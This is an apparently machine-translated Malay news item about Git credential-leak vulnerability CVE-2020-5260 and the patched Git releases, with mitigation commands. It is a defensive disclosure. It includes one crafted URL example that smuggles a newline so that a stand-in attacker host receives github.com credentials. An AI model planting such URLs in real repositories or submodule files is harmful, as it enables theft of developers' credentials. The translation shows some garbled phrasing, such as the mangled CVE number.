Kerentanan kebocoran kelayakan Git

Diterbitkan keluaran pembetulan sistem kawalan sumber teragih Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 dan 2.17.4, dalam yang dihapuskan kelemahan (CVE-2020 5260-) dalam pengendali "tauliah.pembantu", yang menyebabkan bukti kelayakan dihantar kepada hos yang salah apabila klien git mengakses repositori menggunakan URL yang diformat khas yang mengandungi aksara baris baharu. Kerentanan boleh digunakan untuk mengatur kelayakan daripada hos lain untuk dihantar ke pelayan yang dikawal oleh penyerang.

Apabila menentukan URL seperti "https://evil.com?%0ahost=github.com/", pengendali kelayakan apabila menyambung ke hos evil.com akan lulus parameter pengesahan yang ditentukan untuk github.com. Masalah berlaku apabila melaksanakan operasi seperti "git clone", termasuk memproses URL untuk submodul (contohnya, "git submodule kemas kini" secara automatik akan memproses URL yang dinyatakan dalam fail .gitmodules daripada repositori). Kerentanan adalah paling berbahaya dalam situasi di mana pembangun mengklon repositori tanpa melihat URL, contohnya, apabila bekerja dengan submodul atau dalam sistem yang melakukan tindakan automatik, contohnya, dalam skrip binaan pakej.

Untuk menyekat kelemahan dalam versi baharu adalah dilarang menghantar aksara baris baharu dalam sebarang nilai yang dihantar melalui protokol pertukaran kelayakan. Untuk pengedaran, anda boleh menjejaki keluaran kemas kini pakej pada halaman Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.

Sebagai penyelesaian untuk menyekat masalah disyorkan Jangan gunakan credential.helper apabila mengakses repositori awam dan jangan gunakan "git clone" dalam mod "--recurse-submodules" dengan repositori yang tidak ditandakan. Untuk melumpuhkan sepenuhnya pengendali credential.helper, yang tidak pemeliharaan dan mendapatkan semula kata laluan daripada cache, dilindungi repositori atau fail dengan kata laluan, anda boleh menggunakan arahan:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Sumber: opennet.ru

Tambah komen